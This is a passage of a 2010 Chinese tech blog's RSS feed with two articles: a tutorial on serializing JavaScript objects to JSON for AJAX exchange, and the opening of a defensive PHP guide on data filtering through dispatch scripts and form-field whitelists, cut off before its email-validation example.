href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/google" title="google" rel="tag">google</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%8F%AF%E7%94%A8%E6%80%A7" title="可用性" rel="tag">可用性</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%94%B6%E8%97%8F" title="收藏" rel="tag">收藏</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajaxxuan.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>基于JSON的高级AJAX开发技术</title>
		<link>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html</link>
		<comments>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:39:46 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[分离]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[面向对象]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=464</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 引言 　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。 　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。 　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。 　　二、 开始 　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件： ＜script type=”text/javascript”src=”javascript/model/Ajax.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ ＜script type=”text/javascript”＞ document.load = AjaxUpdater.Update(’GET’， URL， callback); ＜/script＞ 　　首先，让我们来讨论JavaScript对象。 三、 JavaScript对象 　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。 　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。 　　首先，Auto对象被声明为一个新的对象： 　　var Auto = new Object(); 　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码： 　　Auto.Car = new Object(); 　　Auto.Car.color = “#fff”; 　　Auto.Car.setColor = function(_color) 　　{ 　　Auto.Car.color = _color; 　　} 　　Auto.Car.setColor(“#333&#8243;); 　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。 　　下一个对象，Wheel，是Car的一个子对象： [...]]]></description>
			<content:encoded><![CDATA[<p>一、 引言</p>
<p>　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。</p>
<p>　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。</p>
<p>　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。<span id="more-464"></span></p>
<p>　　二、 开始</p>
<p>　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件：</p>
<p>＜script type=”text/javascript”src=”javascript/model/Ajax.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞<br />
＜script type=”text/javascript”＞<br />
document.load = AjaxUpdater.Update(’GET’， <a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a>， callback);<br />
＜/script＞ </p>
<p>　　首先，让我们来讨论JavaScript对象。</p>
<p>三、 JavaScript对象 </p>
<p>　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。</p>
<p>　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。</p>
<p>　　首先，Auto对象被声明为一个新的对象：</p>
<p>　　var Auto = new Object(); </p>
<p>　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码：</p>
<p>　　Auto.Car = new Object();<br />
　　Auto.Car.color = “#fff”;<br />
　　Auto.Car.setColor = function(_color)<br />
　　{<br />
　　Auto.Car.color = _color;<br />
　　}<br />
　　Auto.Car.setColor(“#333&#8243;); </p>
<p>　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。</p>
<p>　　下一个对象，Wheel，是Car的一个子对象：</p>
<p>Auto.Car.Wheel = new Object();<br />
Auto.Car.Wheel.color = “#000&#8243;; </p>
<p>　　在此，Wheel是一个基本对象，但是它展示了对象层次中的又一个层。这个对象有一个称为color的缺省值为黑色(“#000”)的属性。</p>
<p>　　下面，让我们来分析一下为什么这些对象如此重要以及我们是如何使用它们提供的简单的属性的。</p>
<p>四、 把JavaScript对象串行化为JSON </p>
<p>　　借助于JSON分析器，我们可以很容易地把刚才创建的JavaScript对象串行化为JSON。首先，我们需要下载该分析器的一个副本，并且要把它添加到文档中。下面是我在本文示例中用于导入该脚本的相应的代码：</p>
<p>＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞ </p>
<p>　　我已经把该分析器添加到我的javascript目录，即一个称为utils的子目录下。</p>
<p>　　下面是最终的包括到其中用于导入适当的JavaScript文件的代码片断：</p>
<p>以下是引用片段：<br />
＜script type=”text/javascript” src=”javascript/Auto.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Car.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Wheel.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/Ajax.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ </p>
<p>　　在导入适当的文件后，我们可以通过把两个div元素和一个onload事件简单地添加到HTML文档中开始串行化。这两个div元素将分别拥有ID：body和loading。其中，这个loading标签将由AJAX引擎使用来指示进度情况，而body标签将用于显示消息。</p>
<p>＜<a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a> id=”loading”＞＜/<a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>＞<br />
＜div id=”body”＞＜/div＞ </p>
<p>　　onload事件相应于body元素并且设置它的innerHTML属性为JavaScript对象(作为一个串行化的JSON字符串)。为了实现这一目的，我在Auto对象上使用了jsonparser.js文件内的toJSONString方法：</p>
<p>＜body onload=”document.getElementById(’body’).innerHTML = ’＜b＞Local objects serialized as JSON＜/b＞<br />
Auto Object: ’+ Auto.toJSONString();”＞ </p>
<p>　　这段代码使用了Auto对象及其所有的子对象，并且使用JSON分析器的toJSONString方法把它们串行化为一个JSON字符串。然后，该数据可以被用作服务器端的一种数据交换格式。</p>
<p>　　你可能还记得，在前面我们曾调用了一个称为setColor的方法来改变Car对象的颜色。当时，我使用它是因为我想向你展示串行化能够在运行时刻的任何点上实现，而且还为了反映出对象中最新的数据。</p>
<p>　　如果你仔细分析一下onload事件，你会注意到，Car和Wheel对象都包装在方括号内，这些方括号代表了父对象(即Auto)。这意味着，该串行化的JavaScript对象能够在运行时刻被发送到服务器端以存储最新的数据，并且也可以在应用程序启动时从服务器端进行接收以便从数据库中检索多数的当前数据。最精彩的部分在于，为了创建一种“无缝”的过程，所有与服务器之间实现的数据交换都可以使用JSON技术来实现。</p>
<p>　　下面，让我们来看一下相同的数据是如何从服务器端接收的，以及它们是如何被使用最新的数据(典型地，来源于一个数据库)串行化为客户端JavaScript对象的。</p>
<p>五、 把JSON反串行化为客户端JavaScript对象 </p>
<p>　　在本文中，我简单地把一个静态文件创建为JSON响应，但是在实际开发中，你可以把这些数据存储在一个数据库中并且使用一种服务器端语言返回它。基于这一能力，我们就可以轻松地创建一种强有力的数据交换过程!在前面，我们已经分析了这一串行化过程。凭基本的AJAX体验，你应该能够理解数据是如何被寄送到服务器端的。现在，让我们着手讨论反串行化的问题。首先来看一个针对本文示例提供的静态JSON文件。这个文件其实是我们在上一节中串行化的数据：</p>
<p>}} </p>
<p>　　作为一个请求JSON文件的示例，当我们点击下列链接时将请求这个串行化的Auto对象：</p>
<p>＜a href=”javascript:AjaxUpdater.Update(’GET’， ’json/data.js’， displayResponse);”＞Get remote JSON＜/a＞ </p>
<p>　　一旦接收到响应消息，我们的称为displayResponse回调方法就会被激活，然后，我们就能够反串行化并开始使用这些对象：</p>
<p>＜script type=”text/javascript”＞<br />
function displayResponse()<br />
{<br />
　if(Ajax.checkReadyState(’loading’) == “OK”)<br />
　{<br />
　　var Auto = Ajax.request.responseText.parseJSON();<br />
　　document.getElementById(“body”).innerHTML += ”<br />
＜b＞Remote JSON unserialized＜/b＞”;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Car color: “+Auto.Car.color;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Wheel color: “+Auto.Car.Wheel.color;<br />
　}<br />
}<br />
＜/script＞ </p>
<p>　　这是相当激动人心的一部分!一旦我们拥有了该responseText，我们就能够简单地使用JSON分析器中的parseJSON方法来从串行化的数据中重建我们的Auto对象。借助于这个新的Auto对象，我们就可以调用相应的子对象。这个特征允许我们在服务器和客户端来回发送对象—而不必进行大量的分析工作，然而在以前标准的XML响应情况下我们将却必须这样做。这样以来，我们就可以创建出能够基于AJAX技术来保留自身状态的客户端JavaScript对象</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%88%86%E7%A6%BB" title="分离" rel="tag">分离</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1" title="面向对象" rel="tag">面向对象</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP安全之数据过滤</title>
		<link>http://www.5bay.cn/network-programming/phpeezhanchang.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeezhanchang.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:38:25 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[PHP安全]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[表单]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[邮件]]></category>
		<category><![CDATA[重定向]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[验证]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=462</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeezhanchang.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>在指南的开始，我们说过数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据，而一个好的软件设计可以帮助开发人员做到： 确保数据过滤无法被绕过，确保不合法的信息不会影响合法的信息，并且识别数据的来源。 关于如何确保数据过滤无法被绕过有各种各样的观点，而其中的两种观点比其他更加通用并可提供更高级别的保障。 调度方法 这种方法是用一个单一的 PHP 脚本调度（通过 URL）。其他任何操作在必要的时候使用include或require包含进来。这种方法一般需要每个 URL 都传递一个单独的GET变量用于调度。这个GET变量可以被认为是用来替代脚本名称的更加简化的设计。例如： http://example.org/dispatch.php?task=print_formdispatch.php是唯一的根文件(Document root)。它可以让开发者做两件非常重要的事情： 在dispatch.php最开始实现一些全局的安全处理，并且确保这些处理不可以被绕过。 容易确定在必要的地方进行数据过滤，特别是一些特殊目的的控制流操作中。 看下面的例子以便进一步讨论dispatch.php脚本: 如果这是唯一的可公开访问到的 PHP 脚本，则可以确信的一点是这个程序的设计可以确保在最开始的全局安全处理无法被绕过。同时也让开发者容易看到特定任务的控制流程。例如，不需要浏览整个代码就可以容易的知道：当$form_valid为true时，end.inc是唯一显示给用户的；由于它在process.inc被包含之前，并刚刚初始化为false，可以确定的是process.inc的内部逻辑会将设置它为true；否则表单将再次显示（可能会显示相关的错误信息）。 注意 如果你使用目录定向文件，如index.php（代替dispatch.php），你可以像这样使用 URL 地址：http://example.org/?task=print_form。 你还可以使用 ApacheForceType重定向或者mod_rewrite来调整 URL 地址：http://example.org/app/print-form。 包含方法 另外一种方式是使用单独一个模块，这个模块负责所有的安全处理。这个模块被包含在所有公开的 PHP 脚本的最前端（或者非常靠前的部分）。参考下面的脚本security.inc 在本例中，每个提交过来的表单都认为应当含有form这个唯一验证值，并且security.inc独立处理表单中0需要过滤的数据。实现这个要求的 HTML 表单如下所示： Username: Password: 叫做$allowed的数组用来检验哪个表单变量是允许的， 这个列表在表单被处理前应当是一致的。流程控制决定要执行什么，而process.inc是真正过滤后的数据到达的地方。 注意 确保security.inc总是被包含在每个脚本的最开始的位置比较好的方法是使用auto_prepend_file设置。 过滤的例子 建立白名单对于数据过滤是非常重要的。由于不可能对每一种可能遇到的表单数据都给出例子，部分例子可以帮助你对此有一个大体的了解。 下面的代码对邮件地址进行了验证：]]></description>
			<content:encoded><![CDATA[<p>在指南的开始，我们说过数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据，而一个好的软件设计可以帮助开发人员做到：</p>
<p>确保数据过滤无法被绕过，确保不合法的信息不会影响合法的信息，并且识别数据的来源。</p>
<p>关于如何确保数据过滤无法被绕过有各种各样的观点，而其中的两种观点比其他更加通用并可提供更高级别的保障。<br />
<span id="more-462"></span><br />
调度方法</p>
<p>这种方法是用一个单一的 <a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">PHP</a> 脚本调度（通过 URL）。其他任何操作在必要的时候使用include或require包含进来。这种方法一般需要每个 URL 都传递一个单独的GET变量用于调度。这个GET变量可以被认为是用来替代脚本名称的更加简化的设计。例如：</p>
<p>http://example.org/dispatch.php?task=print_formdispatch.php是唯一的根文件(Document root)。它可以让开发者做两件非常重要的事情：</p>
<p>在dispatch.php最开始实现一些全局的安全处理，并且确保这些处理不可以被绕过。</p>
<p>容易确定在必要的地方进行数据过滤，特别是一些特殊目的的控制流操作中。</p>
<p>看下面的例子以便进一步讨论dispatch.php脚本:</p>
<p><?php/* 全局安全处理 */switch ($_GET['task']){case 'print_form':include '/inc/presentation/form.inc';break;case 'process_form':$form_valid = false;include '/inc/logic/process.inc';if ($form_valid){include '/inc/presentation/end.inc';}else{include '/inc/presentation/form.inc';}break;default:include '/inc/presentation/index.inc';break;}?></p>
<p>如果这是唯一的可公开访问到的 PHP 脚本，则可以确信的一点是这个程序的设计可以确保在最开始的全局安全处理无法被绕过。同时也让开发者容易看到特定任务的控制流程。例如，不需要浏览整个代码就可以容易的知道：当$form_valid为true时，end.inc是唯一显示给用户的；由于它在process.inc被包含之前，并刚刚初始化为false，可以确定的是process.inc的内部逻辑会将设置它为true；否则表单将再次显示（可能会显示相关的错误信息）。</p>
<p>注意</p>
<p>如果你使用目录定向文件，如index.php（代替dispatch.php），你可以像这样使用 URL 地址：http://example.org/?task=print_form。</p>
<p>你还可以使用 ApacheForceType重定向或者mod_rewrite来调整 URL 地址：http://example.org/app/print-form。</p>
<p>包含方法</p>
<p>另外一种方式是使用单独一个模块，这个模块负责所有的安全处理。这个模块被包含在所有公开的 PHP 脚本的最前端（或者非常靠前的部分）。参考下面的脚本security.inc</p>
<p><?phpswitch ($_POST['form']){case 'login':$allowed = array();$allowed[] = 'form';$allowed[] = 'username';$allowed[] = 'password';$sent = array_keys($_POST);if ($allowed == $sent){include '/inc/logic/process.inc';}break;}?>在本例中，每个提交过来的表单都认为应当含有form这个唯一验证值，并且security.inc独立处理表单中0需要过滤的数据。实现这个要求的 HTML 表单如下所示：</p>
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:<br />
<input type="text" name="username" /></p>
<p>Password:<br />
<input type="password" name="password" /></p>
<input type="submit" /></form>
<p>叫做$allowed的数组用来检验哪个表单变量是允许的， 这个列表在表单被处理前应当是一致的。流程控制决定要执行什么，而process.inc是真正过滤后的数据到达的地方。</p>
<p>注意</p>
<p>确保security.inc总是被包含在每个脚本的最开始的位置比较好的方法是使用auto_prepend_file设置。</p>
<p>过滤的例子</p>
<p>建立白名单对于数据过滤是非常重要的。由于不可能对每一种可能遇到的表单数据都给出例子，部分例子可以帮助你对此有一个大体的了解。</p>
<p>下面的代码对邮件地址进行了验证：</p>
